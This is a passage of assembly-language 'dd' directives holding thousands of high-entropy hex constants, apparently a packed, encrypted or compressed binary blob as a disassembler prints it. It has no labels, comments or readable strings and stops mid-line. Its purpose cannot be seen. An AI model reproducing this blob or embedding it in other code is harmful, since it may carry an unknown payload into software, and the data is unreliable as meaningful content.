0E3FE6E3Ch dd 0CA145FE0h, 0DF4DD412h, 0FB6F7001h, 0CFE884BCh, 75580FE7h dd 4C803122h, 85EED694h, 5F6B0D06h, 1D18243Bh, 6DAF5B8Eh dd 657CCD58h, 950D50Ch, 208F58E6h, 6C0EEA91h, 202DCF6Eh dd 0EE8B051Ah, 79CC00E3h, 89DD1E5h, 0AE00A917h, 0EFCA4B86h dd 2348Ah, 5D90A60Ah, 66B509FCh, 0EB4F7900h, 0D59247CAh dd 0FE71D69h, 0DD3B80B9h, 971AC440h, 0BAD4DC00h, 0E40E8055h dd 71F10194h, 0ABE30BADh, 1800DB3Ah, 0F285A7E5h, 7CCFEFCh dd 0E43BDA57h, 9E6BC062h, 3300D5F8h, 0DF91B718h, 1DA00E7Dh dd 80F27915h, 8F4BBA71h, 0C5003473h, 0E039B4B3h, 75315FF6h dd 6E820A23h, 3AE453E2h, 9DC17000h, 919A7B2Ah, 59898A03h dd 90EFC2E1h, 3AAC0A75h, 1E80B778h, 724A774Bh, 5700F2F4h dd 0BC01437Ch, 566E23h, 6FD810D1h, 74B7D42Eh, 9D000674h dd 8FBB571Fh, 37BE628h, 1D96F97Eh, 0D0E7E517h, 0EBC6BCE9h dd 860D9A00h, 3ED812E1h, 277856h, 0B2DD9A9h, 7897CF67h dd 71D7BB00h, 5B2AC6F0h, 8E891CFFh, 389F40D5h, 0E088DAA9h dd 0F0456728h, 29910214h, 35570020h, 0FE8DBF90h, 49E2002Bh dd 0BD1E2866h, 0C100B41Dh, 0BA84D543h, 0CD1727Dh, 0B2380F0Dh dd 0D8004E48h, 0EDE3F476h, 0E4AECA41h, 1490DBh, 0FBCF708Dh dd 0F2FF29EAh, 0F6FE717Eh, 0E4B1DCA0h, 68E68800h, 48B8C6F3h dd 0B2C40090h, 18B0864Eh, 0F6500CC7h, 79017CAAh, 0FA15023h dd 4180EC99h, 192383Dh, 6C905472h, 0E18A8300h, 8BE2C9A4h dd 0A0FF002Ah, 0EA2BD34Dh, 0EB30CC55h, 0D29CE852h, 0F33D0038h dd 4C9837F4h, 1E00944Ah, 904961D6h, 3E819C7h, 3FCC96B7h dd 21C8932Ah, 0E61607C5h, 1400320Ah, 97204D52h, 37490413h dd 80D56302h, 0C361B2E0h, 74DA4F00h, 0E2FD481Dh, 0EE4E02F8h dd 2DE89159h, 9918B860h, 7E01750h, 43A76700h, 9D5CC6EEh dd 0DCB0094Dh, 30802EBEh, 7B7DE1AEh, 71342A14h, 0B72800A4h dd 86FEBFC6h, 0A8750176h, 0D0131EF0h, 4AF9F023h, 0A6426700h dd 47F7D92h, 0C5E809h, 22276FB9h, 24890C38h, 5200B598h dd 0E83F2B4h, 7D4509F5h, 9B8800D4h, 0FF62344Eh, 0A07426Dh dd 548201E8h, 0DAA3B260h, 5380074Bh, 9090F8B1h, 0FB87D259h dd 0F62ACB00h, 42C68493h, 0FEF03104h, 409BCF20h, 87DC9CE8h dd 0EC3D800h, 0EBD5E9A2h, 4CB1000Ch, 597F82F0h, 0F1007914h dd 9EBC2178h, 78BC9B7h, 0FEB39737h, 1F310044h, 0A100582Eh dd 7E75E3Ch, 0F6D309h, 2A430C41h, 0CC765513h, 0CD241A00h dd 8FFD3DC0h, 0D6F00080h, 7779100Bh, 0E50087F7h, 88B0A664h dd 12AF0127h, 474563h, 0F140D2F0h, 4B000F69h, 5977E19Eh dd 72B23109h, 7A8400CCh, 1C07B03Ah, 30F11BF1h, 0E3078D7Ch dd 97968C68h, 663E7030h, 0C0A002E1h, 0CD043DB3h, 71A4F041h dd 28845317h, 0D31B51B8h, 215A970Eh, 0F86C062h, 1DCCF348h dd 0DF365E22h, 0E91200EFh, 59E435A9h, 489FEE00h, 0FBC4FE68h dd 0F18C0E8h, 21281F6Ch, 1C26F44Ch, 7801F14Ch, 671C2A22h dd 6355F4h, 0BD5798D3h, 0D5A41A03h, 52219A0Eh, 60BB07AFh dd 73301FD7h, 39C51951h, 100394Dh, 0A244E0C7h, 433E99B1h dd 56D5816Ch, 0F80BC814h, 162060E2h, 91770094h, 698E5F15h dd 5174B99Ah, 0A45BE53Ch, 0F500368Dh, 6CEFCB72h, 6E0B009Bh dd 397F8FDEh, 1800FC50h, 0C4F157C5h, 0B6E7ADh, 0F841A871h dd 6C7BCA49h, 7793F900h, 1D1C3587h, 139E008Fh, 0BA19E763h dd 463A7C4Dh, 0CFA424D9h, 2CCC8738h, 0A3A14E13h, 0E8435449h dd 0B688B80Ah, 3FC30032h, 231720Bh, 2500EA59h, 55106CEBh dd 304DAF88h, 0DD401686h, 5D00BDE4h, 0ED7F8B24h, 18E3EA9h dd 0B4C8FA2Bh, 40C40335h, 66D4FCE8h, 0EE80ACB1h, 4C22B5D0h dd 7D1D033Dh, 6989FA58h, 0CADB4FE0h, 0F78B3903h, 0F867A8EFh dd 4C513Fh, 375C167Ah, 0D86245F3h, 0F4C6E002h, 40F5AE93h dd 39889EFAh, 7F1EABBFh, 725A7289h, 42101060h, 0BCB8E8F0h dd 0F902290Bh, 84E00C0h, 7037FEF4h, 6DFD0371h, 0B09F047Ah dd 8CB6D0A0h, 0C602D3E0h, 0A26AE121h, 86646850h, 0CBFE0903h dd 5CA0B1CEh, 0EE531473h, 0E29E3900h, 0A5B7C97Eh, 868A4CDEh dd 6441C700h, 0E7860E94h, 96FA7500h, 0D961C376h, 9BA70CC8h dd 0CCA8194Ah, 7B2BB916h, 5D784820h, 0E5FF005Eh, 0B0B4849Bh dd 0E23BAFC0h, 0A52C00A8h, 7B3EE9DCh, 0CC9C0019h, 9A59A982h dd 0B300EC8Ch, 0C45B4ADBh, 3345F14h, 45BD69CBh, 31E0C57Fh dd 9A7BB8F9h, 3711A80Bh, 0D1407C3h, 0D513E4F0h, 10FA3Fh dd 0C0317A49h, 0DD099804h, 255B9900h, 0F66B9CE0h, 9BE90027h dd 16EA47F4h, 0B4008D72h, 415A2DF0h, 3E693Ah, 708AC51Bh dd 363C60B8h, 0CD69000h, 0B796E565h, 0FC11E0BDh, 0AE4D070Ah dd 4048EB23h, 3EF3D158h, 0C89AB4A0h, 0D5501A00h, 0EB5A2F74h dd 17A100D0h, 67BB8992h, 0B5006C0Ch, 0D21B1838h, 1483F626h dd 0B0F505E9h, 0D066C400h, 27AC5F1Ch, 30AB2E0Ah, 0A880B44Eh dd 0BF17C704h, 0CE8A00C0h, 0B907851Ah, 4303C264h, 91FC9248h dd 53E4A0F2h, 0A69C0052h, 0ECBD373h, 0C40CBF4Bh, 0E83E854h dd 1AD63E66h, 0C81C968Fh, 0D728FEA0h, 6F07BCEAh, 2C1907E4h dd 74BFFA20h, 0C0DC70DBh, 0F7D4A338h, 0C000CA46h, 4381F561h dd 0F5EA11Ah, 8D0D3C90h, 409E99A0h, 0B002CD5h, 0E5D021B0h dd 5071397Ah, 0BE4900Ch, 44A3BF7Bh, 5C9E9980h, 0DD03BCF6h dd 1C8F9174h, 69ACF020h, 27E82C08h, 21920050h, 26833FD4h dd 0DC4D8803h, 0B0A4AA18h, 3153F017h, 0E758AEC9h, 115205Ch dd 0EC771F28h, 7C926B03h, 90A2A408h, 66AAA0h, 0DD369C63h dd 0A830D489h, 0B8002E72h, 0AB993DB9h, 0F26714Dh, 68D39A82h dd 7FA68E1Eh, 40ACDE3Eh, 0A7FF1239h, 0FD008748h, 43A177F8h dd 11015A5h, 9060EF30h, 0F481BFD7h, 60086DCh, 0A74C957Ah dd 0F79DDF4h, 0D6F51156h, 0CD6CC8A0h, 0BF4C2160h, 65E90BC8h dd 16D2838Eh, 0C8BAF269h, 1AAA444h, 0C3D088EFh, 20A3323Bh dd 4C001708h, 9F5CA847h, 36B89A5h, 0E96521DEh, 6FE898CFh dd 9B008ECDh, 699F8357h, 0AC871Bh, 0D66ADF0Ch, 0A7BAF641h dd 7DF0C100h, 0FA978296h dd 0BC391FCFh, 405D93A0h, 1B738FECh, 0D059D168h, 441A2454h dd 1361E402h, 205CE516h, 0F7B600E4h, 9EC860CAh, 1E00A13Ah dd 28E7777Ch, 0FB3F5A1Ah, 0B0E070h, 0F19CC749h, 0FB243B58h dd 800D443Fh, 0B31ED25Bh, 1E5BAD8h, 0D1606DE7h, 9E5C4F87h dd 820BBE28h, 7BC7818Ah, 90609136h, 785700D8h, 0C7EE705Ch dd 0F7007D40h, 0B3B161B4h, 24B838h, 39F33629h, 83488B6Dh dd 0C0DB7F00h, 80D82FE8h, 0E23F010Eh, 7A81D4BDh, 3DF3F8B1h dd 98E8200h, 332E169Ch, 29AD0054h, 0F8172FE7h, 0A3480A18h dd 2B81030Ch, 109387Eh, 9D2C9948h, 6068331Ch, 0DE00B39Ch dd 371F666Ch, 7834E0Fh, 86888A5Bh, 0B0A05F5Ch, 7D17444h dd 0A3598112h, 0A14C0Fh, 0BD73504Ah, 97900061h, 33B74002h dd 0AA39215Fh, 847F81A6h, 2E143604h, 4F64D0h, 3885370Ch dd 467D4374h, 2C3F23FEh, 62E80067h, 4E54A57Ah, 798784Dh dd 0A7C51E51h, 0FAF4A07Eh, 5D00D8AAh, 435AF05Ch, 91A181h dd 0AD19A0D9h, 20879D89h, 0C8E89528h, 0C40ECE00h, 2CA7FEAh dd 8007000Fh, 0F4D6A048h, 7B3A9CB4h, 70E080A8h, 4F5C376Bh dd 75400E6h, 67BA4911h, 7600C1BDh, 92F39882h, 0B0E00A1Eh dd 18D5007Ah, 0CC7FDCE5h, 2D28BCECh, 0DD38B0A8h, 2C0C003Fh dd 0DACD0E55h, 8C54004Bh, 3906DEE7h, 7F052FDDh, 6DA1CAC7h dd 3D91BCD0h, 1D720AB5h, 3CC0A9Bh, 0F0A11039h, 0AE02E9D8h dd 0C2BBFA00h, 136D672h, 0CF150076h, 0C51108DBh, 0FB3F55F7h dd 0D79B84F6h, 6880C24Eh, 3C22DA90h, 0C71CB5D5h, 0F481403Bh dd 23ADEE8h, 0C841C00h, 0D5A17FF7h, 0F97B0C96h, 56FA91B1h dd 59B29E03h, 88FBD735h, 7CCBCD06h, 4273003Bh, 2C283752h dd 0CE078CE6h, 66B5EEBh, 2490AA77h, 28B26B8h, 396510D4h dd 9CE168DCh, 1BE870B4h, 0FF7F4BF4h, 0BDABAF02h, 605CC17Bh dd 0B38284h, 9AC9F961h, 0AC9E70B6h, 62C67900h, 0A3D76A3Ch dd 161800CAh, 95B23FF9h, 547252A6h, 22EDE201h, 0B7032926h dd 7991E420h, 5CB5E451h, 0F40988CFh, 5064BEE6h, 20006290h dd 8BC999AFh, 3C706968h, 0D10B3A9Fh, 0C049329h, 0D5A58012h dd 2E038454h, 83EC7D91h, 0FF220041h, 0B50A85F2h, 8C00F9E1h dd 0E5815D7Bh, 1BB4E71h, 0A9400B69h, 60B18B6Ch, 0D8760E4Ch dd 0D5432000h, 7ED9E2CDh, 8A170E9Ch, 0DC4744C8h, 7BA6201Dh dd 0EC018906h, 0A788F137h, 0E1C4B118h, 0EAFA00FCh, 533BBE4h dd 0C300F382h, 6A9E7771h, 3BBC66E3h, 3D8031CAh, 47E89F72h dd 0C13B3449h, 0D640ADE2h, 94E60300h, 0A7F0A94Dh, 9C007282h dd 1A503A15h, 106C634h, 6F74108Fh, 0E7358319h, 33417390h dd 0FF172600h, 23CD8BE2h, 0F18800ACh, 3FBDB9BAh, 7F070E68h dd 0B5344EC8h, 132EE02Fh, 7AC07E8Ch, 3E439h, 5F2878A0h dd 0A9E9D9DEh, 5DBC8914h, 5B8A12F8h, 0B64060C0h, 0A6E60088h dd 0B469DE81h, 8B09EC6Ah, 802E20D2h, 8EAD9A34h, 353C005Ah dd 0FE0A95EAh, 0BF002870h, 447BB30Fh, 50AD594Ah, 17CF8CEh dd 0BB5FE662h, 0E0DC820Ah, 548F147h, 5C4800BCh, 0B49FB5C0h dd 62F692h, 2DB02ADBh, 97A568A1h, 4BF634F8h, 8075C43Eh dd 4DD5F8CFh, 4E0B94Eh, 0D9A42966h, 0DBCA8058h, 8F0037F9h dd 9EC3D8EDh, 7C4EA3h, 4CAF9267h, 6264FE52h, 0AB18A40Eh dd 3F801DD8h, 0AE304FF7h, 0A80339C2h, 0D406007Dh, 446F8753h dd 6002FF0Eh, 52EE1F5Ah, 33EAE126h, 24537120h, 7B543Ch dd 0F643A548h, 0D32FDA76h, 0BA1400BFh, 6F7868h, 0FA0E40F5h dd 0B801EF8Bh, 80A49A58h, 0F5601575h, 86D1003Ah, 308951D0h dd 9800F755h, 0CE2FC128h, 57F0F3Fh, 0AED64B4Fh, 0C89C8022h dd 2E00A696h, 34738EBFh, 901D0E94h, 2AD5B80h, 0C8213F8Ch dd 4F69480h, 9805C958h, 6E7AC31Ah, 5CC28080h, 1A3771Ch dd 0EBB2D62Bh, 6085F377h, 7E00D782h, 0EA23F608h, 9991Eh dd 65ED7DF1h, 0C22ACB33h, 0ECD13B01h, 0E68F937Ah, 0A8CCF0h dd 0FE4516Dh, 0F7FF3D26h, 0ED0986FEh, 7107B33h, 31C3C940h dd 0CB4100D5h, 741A94EEh, 7138C601h, 50B10069h, 0ADC7DCFAh dd 0CAE10047h, 0FCAEB213h, 5000D94h, 0F33B517Ah, 0BA10E8D7h dd 41C0E5B0h, 0A3390556h, 802554D9h, 0C5D17F3Fh, 48267200h dd 3D05D6BAh, 0B0CBF9F5h, 0B217FC70h, 2A1C0068h, 0DD5A38F6h dd 4107FE93h, 0F0AB4DA0h, 24C01B85h, 1BC48CDh, 24E0B7B3h dd 7CB589E3h, 0F0F03F00h, 0F78B9100h, 0C67F42F9h, 781E0002h dd 0A895FACEh, 0A5010779h, 0EDF22AA9h, 74D87B80h, 0F8AC009Fh dd 0A1FA9A73h, 9212983Fh, 4807E1F5h, 8D213EA3h, 0C8201263h dd 0F1491DC4h, 37E6025Fh, 7C503F02h, 0CAEC5C18h, 3234C89h dd 0FB363A2Bh, 9A00C2Ah, 0D1609D63h, 45F14E21h, 0B238C76Fh dd 0C3807123h, 0A055ECA9h, 0ACB9200h, 0A212DD1Eh, 0BFC0004Dh dd 0E5C056Fh, 0FCF9310Dh, 0C600FEE2h, 37DA6DB4h, 1445F338h dd 0DD48F1D2h, 80E80474h, 90EC04DFh, 0D3CFE57Ch, 4850DD01h dd 47AB4E53h, 81AE819Dh, 92C45BF1h, 0C82DE37h, 5883B05Ch dd 0D021434Ch, 0C138E440h, 70C1D499h, 671FF2C0h, 2A05DFB2h dd 9CF0D37Ch, 0B88E0046h, 9BB0605h, 0DD00B24Ah, 89C8822Ah dd 4C1B1Dh, 0DF631229h, 6E3D6921h, 3E52F600h, 76BC8EE8h dd 33B800A9h, 891AD348h, 3A768272h, 4ED6EB1Ch, 71973E80h dd 3BF4324Ah, 0AC00CB05h, 51EAA315h, 2E8B712h, 0FC867D17h dd 637C2A00h, 7584C5AFh, 0D3FE011Ah, 5085D142h, 9088F44Ah dd 3403CAE4h, 16F62349h, 3A56B03Eh, 731F7359h, 4A1F239h dd 0C7443BAFh, 0B550B04Ah, 1DAD2000h, 1A41DDF6h, 0D48406BAh dd 8AFB7A2h, 0A4372406h, 0E230399Eh, 9639C01Dh, 7AFD35D3h dd 0D0EF6C03h, 90BD564Ah, 3F9FFE8Ah, 0A600B49Eh, 0F18DDB6h dd 9C0C58A2h, 411EE45Fh, 37D2003Ch, 3B1F5654h, 6A00495Ch dd 990B0893h, 4ABEA5Dh, 0FC5A034Dh, 0CDBCA015h, 26732800h dd 0EC62F76Fh, 75C80085h, 0E17BB43Dh, 8A011CDBh, 0D4A8C42Eh dd 7420C3AAh, 9F1E1EF0h, 80E4DE13h, 50B0957Bh, 1207450Ch dd 0D6DCF74Eh, 17818FC4h, 5C7C1E52h, 0EF968A01h, 241A091Fh dd 79006A94h, 7F194431h, 2465C4A7h, 43541FBBh, 6D0D50Bh dd 0F5907EC9h, 48BE0D24h, 4A52580h, 0E70E57h, 0DF2DF3BBh dd 4171B5BCh, 6CBD0C00h, 9CC1352Bh, 82570058h, 0AEC27CF6h dd 94F3311Ch, 0E4043010h, 2830C91Ch, 0FF6F90h, 20E919B9h dd 14F8A14Dh, 87F06217h, 411D1F02h, 0A307578Fh, 792EB3E5h dd 5C519FF0h, 0DF332A00h, 448A4136h, 0EEC10110h, 0A7F85B61h dd 7117608Bh, 98B45400h, 0AA99246h, 73D60033h, 0AEA5F5BEh dd 0D802422Bh, 0C8ABD5CDh, 3DA6343h, 0FD33A750h, 0FBC8A0B0h dd 2100F3C7h, 157195E1h, 0EF72AC0h, 7D4CB363h, 27A6CBA0h dd 0B000D83Eh, 45F4A08Ah, 0DDC226h, 0BBB42BE9h, 491DCE51h dd 0F1008DEEh, 8078F75Ah, 0FC3CEB74h, 5C751895h, 3FFC80ADh dd 0FD0A8201h, 5A77C326h, 50421980h, 0EA3B4060h, 0FD798000h dd 133F4E89h, 93D700ABh, 1A9BE85Ah, 0F10FC36Bh, 0A05E03C9h dd 75D386B0h, 4B4E00E7h, 586B7D20h, 8A00CE3Dh, 0FD072BD9h dd 77B2ADh, 0D64464E2h, 22BFE85Ch, 380D1326h, 6AD4C10Fh dd 0A99FE81Fh, 0E5429080h, 0A0D304D9h, 987FBA4h, 4693AA21h dd 23F73000h, 5F4C0B13h, 2582005Ch, 62B52722h, 0A24400B1h dd 0D9609754h, 0D3498E20h dd 0EE44808h, 80FF407Eh, 1D2F1E78h, 3ADEF8EAh, 0F24904h dd 552E5C3Eh, 0AC99EE44h, 6C9B5E00h, 0F9090E16h, 0BACA0253h dd 94C95C1Bh, 0DBA49880h, 620A768Ch, 0CC6C8852h, 7A73CA00h dd 950F89h, 71773E78h, 74DEE1ABh, 4C808700h, 73EB220Ch dd 0FC38003Ch, 9F080E75h, 0C80056BCh, 8EA44F78h, 1AE7F76h dd 1B868A49h, 0F0DCD04Bh, 1C1C12CDh, 87407562h, 95F3836Bh dd 1068076Ah, 10A0F64Ch, 49B3CF1Dh, 0C93DA472h, 91650059h dd 0CB4D4851h, 53230044h, 944B0688h, 0A10058EEh, 3986D537h dd 705257h, 0DD532723h, 7ABA28Eh, 0FC356F00h, 0BA71A459h dd 264B0030h, 44C3191Ch, 5A1C724Fh, 1DC39D64h, 0E8569CB9h dd 75618FD5h, 37413D55h, 2A0C4880h, 1FDA70C4h, 51841100h dd 0C74C0BF8h, 0FA313B54h, 496DE201h, 0CC93F120h, 0FF036807h dd 7CF99F28h, 99691D91h, 10264C92h, 31033830h, 56507427h dd 0EF93A0C4h, 2A98B3h, 2BA5222Dh, 87EA0386h, 426C600h dd 0E8F22E7Eh, 63E4C3h, 9DACF4EDh, 0B001185Bh, 0C6E0396Eh dd 91128Ah, 0EAFD2F32h, 0C23EE430h, 9F41CB00h, 8A7A2B82h dd 8DFA03E1h, 0BE07B4D3h, 465FA000h, 1A45A48Bh, 0B37400B5h dd 0D5E0604Eh, 756ED8C9h, 44439E41h, 0A2EA422Dh, 0A02040F8h dd 6F3C007Bh, 0FAE7BCB6h, 6007E9F0h, 629982BDh, 9A619D80h dd 0A39400DCh, 0C03A4F4Ch, 6E247BC4h, 4600BFE9h, 87CE90F7h dd 428F00C1h, 3E6D4B8Bh, 0BA00ED9Ah, 0D5E5F949h, 0B896BECFh dd 659F0045h, 9B1CD9A2h, 0E1269D0Bh, 1900CEE6h, 4C596929h dd 8BD300F7h, 0FEB5FB21h, 481D56AFh, 0BC800E8Ch, 653496C5h dd 1ED20C9Bh, 0D34172A4h, 0A649B100h, 0FC1199B2h, 542A0071h dd 3080886Bh, 8F0006ABh, 0B3A3249h, 0AEF569h, 0BE643C6Ah dd 0DCA8FBA2h, 0D0581800h, 96E4E5CCh, 0F1A500F3h, 9795EF8Eh dd 0BE007A86h, 0C39D0F1Dh, 47357E7h, 0E3FEB1B6h, 0BD7B8002h dd 8F1F69F4h, 0A4803260h, 0D254369Bh, 40800FEh, 6D587774h dd 3A7ACB87h, 0A9125FE0h, 1000A12Ch, 0BCB016A6h, 35830182h dd 0BAC5E7D0h, 88AF85Bh, 9ADE0903h, 98335101h, 982BA035h dd 7B4E001Eh, 82B788B9h, 0A8C0E59Dh, 7C90C08Eh, 9BD90067h dd 3EF48683h, 330093D3h, 51DA04DBh, 6D21C63h, 0B5EBDE97h dd 5C003866h, 0E6281D91h, 0B0A81AFBh, 500C3E8Ah, 9CD0EAB0h dd 8F7CB85Dh, 0FF43CC00h, 0A34CA0A2h, 285F0701h, 5E04B410h dd 0E4C0E74Eh, 4002B143h, 77FA3Eh, 0EF7232F1h, 5D3A38h dd 31C6210Fh, 0DA6B106Ah, 1820F630h, 3001238Fh, 3140F3E4h dd 610054CAh, 0AF8C123Fh, 56E2AD7h, 9B0F0617h, 0FAA008FFh dd 0E3F2D340h, 0C2A800D7h, 0A6282533h, 0FBE86B3Bh, 6CBA0400h dd 0DF63A529h, 0B30C011Eh, 6BF908C0h, 14CC400Dh, 0E8033ADEh dd 537D889Fh, 0BC1906A4h, 417C6389h, 9ED14A00h, 368E258Ch dd 0DE9040h, 0A18FC93Dh, 0EA41B6D3h, 78217906h, 8912A7h dd 6180DA7Ah, 0C06AE5E1h, 8AF17D00h, 6C282F2Ch, 5E7E1C83h dd 0F258401Bh, 0F4475DB7h, 4B413B02h, 8085F04Fh, 975BF770h dd 0AA31079Fh, 804BE02Fh, 0DC627A1Ch, 4F0EB800h, 4C086A5Fh dd 0BB5E0FE7h, 51601EE0h, 0C48FF812h, 90F07600h, 0D833BE1Dh dd 6F811D68h, 82EC8977h, 32509380h, 19C06B9Fh, 93DCDF8h dd 0A0101D76h, 59037BB5h, 3E625429h, 0D82428C0h, 0E60087F0h dd 0EBA6E351h, 6F387Ah, 9D954BB8h, 0F014BBE0h, 68FAB9A0h dd 0AEADBD00h, 0A0AF9387h, 0D5A584Ah, 2B7DE200h, 9D3F4072h dd 9E00FDF0h, 80DF2861h, 0F53B8496h, 0A8255930h, 4B93F8h dd 0C8CA94F7h, 30C29C10h, 0D7A47800h, 66BB793Bh, 0A3800038h dd 0B56721E9h, 6A002AE0h, 702856CAh, 0F2CFEBCh, 16F4B054h dd 7675B940h, 0EA30DDE3h, 7E2860FBh, 0C05274EBh, 9B34D070h dd 6C74D65Ch, 6145674h, 0C10C77Dh, 39FA19DEh, 73352C78h dd 1D2D1DC5h, 181D9B80h, 71E00DC3h, 2F00CD20h, 0D653F71Ch dd 0ADE752Dh, 0ED7E88BBh, 440F3E28h, 281D819Bh, 82460848h dd 3C244Ah, 0E82593A3h, 8BF76Bh, 8A48446Ah, 538AB37h, 83FF30C0h dd 66782417h, 98E0903Dh, 0C57C8F09h, 7580DD52h, 3BB0295Ah dd 0B744500h, 0F1F3AE32h, 0F4E101B8h, 0E75C08D3h, 0B57ADCE0h dd 0EE15DA00h, 0F16CBDCCh, 30E202h, 5C0EAA36h, 2941FEE5h dd 262B1100h, 0A5554765h, 0F3E878h, 3D750198h, 6036251Ch dd 0FFD1FE65h, 4BA043Ah, 224E7ABFh, 6DE9CC81h, 4024199Eh dd 0C053D0E8h, 0D800AC71h, 1843D964h, 67870D2h, 8E7AA34Ah dd 8A1E3820h, 5A07E625h, 54810371h, 61802136h, 8AB77F3Dh dd 0E7036974h, 7017A4B6h, 0F98315h, 0C88B4C89h, 0DE5EF81Dh dd 0A69B2407h, 804F1A1Fh, 0E9F4C719h, 30297157h, 66605412h dd 0AF3E11DEh, 0C4A793B1h, 0D621A703h, 0A6D90E13h, 3F00AB19h dd 0B9434540h, 0B042F700h, 0D1F306CFh, 2885016Eh, 0F0204CEh dd 0D060B2F1h, 26B62092h, 0ECB2BE03h, 35D07E00h, 0A1464DA8h dd 7C2A50BCh, 0A5502989h, 0B9048384h, 1C05FE4h, 0ED00CA7Fh dd 568F1D57h, 6E02BB5h, 0EB75837h, 4100B0D7h, 7C241084h dd 1975F3Fh, 0A31C62D3h, 806DF222h, 894757E8h, 4C988672h dd 4004CF0h, 0CF45781Ch, 36307AA2h, 85EB286Ch, 80F4AF2Bh dd 0B26E5694h, 75075A60h, 665282A3h, 6FC191C7h, 65D49ECAh dd 0FF9F00CBh, 0B367A34Eh, 7E005F4Dh, 86CF506Bh, 1FB75551h dd 9F625A95h, 4C8C802Bh, 0D3F93FBDh, 191AEF15h, 567501FCh dd 654622A5h, 0C300A0B8h, 0D4544F32h, 0BA2027E8h, 0D1890A52h dd 7C08D13h, 0E3CF02BFh, 23EBF71Dh, 198447D8h, 20856730h dd 29186B28h, 0E22074AFh, 0B33122BEh, 0D7FDA8E1h, 300A42F4h dd 8B907C52h, 0FC6E33F9h, 0C174C038h, 0F04A2BB4h, 7F98A853h dd 5E3C008Fh, 49B9CD6h, 8DC67DEh, 769221F0h, 1B16003Ch dd 66E412Bh, 0BC12F9C9h, 8434E1DAh, 2C4DFC4Ah, 5B3C7240h dd 227446D6h, 759D0061h, 10AB913Ch, 7915E67Eh, 0E4F603h dd 4BD79985h, 0E3BA594h, 830576Fh, 0DC101DA1h, 39F45031h dd 0FCAA1273h, 59009363h, 3EDB5B2Eh, 0A16A82h, 6F9F1B22h dd 9B54DE5Ah, 0D3607D1Fh, 755F6B01h, 418004D7h, 44E4A420h dd 470CBA8Ah, 89281FBh, 4321C015h, 62ABE4ACh, 2B7D609h dd 5900010Ah, 0D826168Ch, 715F6A0Ah, 0E4B8402Ch, 0DA468A40h dd 0A0F41B22h, 0FA91E400h, 0CDC4BEE6h, 8F031392h, 0DC5844BFh dd 765819FFh, 41C04019h, 2CA4C28Ah, 0E0401445h, 3A6773E4h dd 8E0018D4h, 8D63809h, 5F04F858h, 0FEEF0234h, 7E860C80h dd 4F6100E8h, 0BD536B5Eh, 66609A72h, 0A56268D0h, 0B0E20987h dd 0A600E5BCh, 378DD444h, 85F64F06h, 1583969h, 1A0CEDB7h dd 80D3A204h, 3170AD29h, 0EC015564h, 174B903h, 721C5A9Fh dd 2473F476h, 8457E33h, 0BD210387h, 152D1C53h, 4C6D4B90h dd 0BF5C5405h, 0BC04099Ah, 38865F45h, 7CA04658h, 76891C08h dd 58B8707Dh, 5B791C00h, 749A9892h, 0A5F8F8D7h, 6086C424h dd 3BF62A21h, 108B69D3h, 0DC9026D4h, 61503622h, 5549E9A0h dd 5907074Ch, 3C300DC7h, 984FA49Bh, 8110E3C4h, 0BC006C3Dh dd 0E7BD7921h, 0C12A2B06h, 62A7D638h, 7CA430D8h, 3866C131h dd 33002782h, 3E2D31Fh, 0ABEC98C2h, 0E4C445B4h, 0F7936064h dd 713F00C4h, 106284D8h, 730A1618h, 0F03505B6h, 46A71102h dd 0BCC08227h dd 0C0484D6Bh, 1C3F8293h, 0A4969B13h, 6890EC1Ch, 2497F73h dd 0BDA7E438h, 0D8486033h, 0C8776CB0h, 0E7018C0Bh, 3E90148Ah dd 91841781h, 8DBEB44Bh, 1A9C3098h, 6FB9940Bh, 0F0C010A3h dd 0F95E6A83h, 8AE30184h, 38C77D1h, 3756E182h, 4801402Dh dd 0A2B8C441h, 0AB53E86Bh, 3408BB66h, 49660F21h, 3680E3C4h dd 0FE2CDAD9h, 26E80F11h, 4202230Ch, 0D1128DA9h, 0B840886Fh dd 0A7D5FA74h, 0A8105126h, 30AC4042h, 8D111C5Bh, 84885D76h dd 1C54BC80h, 5609A38h, 0CFA80563h, 22D8809Dh, 0F706028Fh dd 9973D1C6h, 54754C70h, 60804300h, 0D7A56E40h, 7ECC0854h dd 0D807D300h, 582F204Dh, 73463D8Ch, 2F405B9h, 9DC5A0F6h dd 8CB050FFh, 0A611C447h, 3388BBA2h, 0C44F6887h, 0DD620AC0h dd 0E08C04E9h, 853D6DB6h, 49DC0924h, 3C8E5030h, 94435F7Eh dd 3C719180h, 7D0039ADh, 83BD8BFDh, 0B68546Ah, 0EA5A30E9h dd 0A4048C9Ah, 0D40265AFh, 0B1457670h, 0BF108AA4h, 0E63C1C51h dd 0A819BB92h, 44999889h, 7D856580h, 0B926A22h, 0D1E03D59h dd 6111A01Dh, 0F079AE80h, 1D288E74h, 0ECA38447h, 430DDAh dd 4C4484EAh, 4C40B4ACh, 0A6058C7Bh, 0AA8A46E4h, 4101548Eh dd 0DE9E4AEh, 3243937h, 27193BD5h, 881B588h, 89D5EF1h dd 0AF5107F9h, 0AD80CE75h, 0A75BAE38h, 104D7B0Bh, 622C838Eh dd 7F2ED068h, 74732AA5h, 52490FA0h, 10789A6h, 43A85A68h dd 890011D6h, 0C763A55Bh, 39E904D0h, 0A300125Dh, 0DEE147EEh dd 0B9DF8A0Ah, 80F9689Ah, 0AE0376C4h, 1DAF4FCh, 0ED0EAA23h dd 24478F88h, 9987D4h, 0CC108040h, 3B860972h, 301DD3C9h dd 0C209C6B9h, 885041DCh, 0BF59F800h, 8EAC8884h, 0D848EFD5h dd 761440B6h, 464CADF8h, 0EAB8A08Ch, 0A359CE63h, 3060252Eh dd 843C19A5h, 7C646900h, 0AC41B1D1h, 895200C8h, 1A81468h dd 3954366Fh, 97901ED8h, 7DEB200h, 819B03E3h, 12C50326h dd 24DDA9F2h, 6BBAE1CFh, 7A1020B6h, 0E4A5048Ch, 62A28A45h dd 0AD42201Dh, 0A3AC4E4h, 8AF30769h, 86005EDDh, 6A6AD7D5h dd 0CAD8C82Ah, 380CAB0h, 1F16B7EBh, 9D962805h, 90215F85h dd 0E5F32202h, 8588F88Eh, 97E2C2C0h, 0ECBA002Bh, 22A2BF1Fh dd 0F4A064DEh, 8B061BB2h, 41A58639h, 0BC900B70h, 54A47A22h dd 0C5ACF4E8h, 82C33B02h, 5A7538AEh, 0C4E85894h, 0DA3BBC80h dd 390979BBh, 0A74244DCh, 0A0D9B8C8h, 674D7864h, 0E94F2419h dd 74810284h, 8040A4FBh, 6448D601h, 23371020h, 0E15D5F00h dd 0A3EB0E92h, 0FE8A4306h, 0B130F675h, 1885D12Ch, 275502C1h dd 